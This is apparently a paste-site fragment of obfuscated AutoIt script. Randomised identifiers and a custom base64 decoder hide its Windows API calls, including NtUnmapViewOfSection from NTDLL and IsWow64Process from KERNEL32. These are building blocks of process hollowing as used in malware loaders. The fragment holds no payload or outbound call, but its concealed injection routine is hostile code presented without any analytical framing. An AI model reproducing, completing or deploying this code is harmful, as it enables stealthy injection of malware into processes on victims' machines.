- DllCall(octdsfveflrtqx("TlRETEw="), octdsfveflrtqx("aW50"), octdsfveflrtqx("TnRVbm1hcFZpZXdPZlNlY3Rpb24="), octdsfveflrtqx("cHRy"), $dirxmpngrrplfj, octdsfveflrtqx("cHRy"), $enultomnaeouqu)
- If @error Then Return SetError(1, 0, 0)
- Return 1
- EndFunc
- Func htcllljaodnpmr_iswow64process($dirxmpngrrplfj)
- Local $sxczganvblgaaq = DllCall(octdsfveflrtqx("S0VSTkVMMzI="), octdsfveflrtqx("Qm9vbA=="), "IsWow64Process", octdsfveflrtqx("aGFuZGxl"), $dirxmpngrrplfj, "bool*", 0)
- If @error OR NOT $sxczganvblgaaq[0] Then Return SetError(1, 0, 0)
- Return $sxczganvblgaaq[2]
- EndFunc
- Func octdsfveflrtqx($s)
- Local $key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", $t = "", $p = -8, $a = 0, $c, $d, $len = StringLen($s)
- For $i = 1 To $len
- $c = StringInStr($key, StringMid($s, $i, 1), 1) - 1
- If $c < 0 Then ContinueLoop
- $a = BitOR(BitShift($a, -6), BitAND($c, 63))
- $p = $p + 6
- If $p >= 0 Then
- $d = BitAND(BitShift($a, $p), 255)
- If $c <> 64 Then $t = $t & Chr($d)
- $a = BitAND($a, 63)
- $p = $p - 8
- EndIf
- Next
- Return $t
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment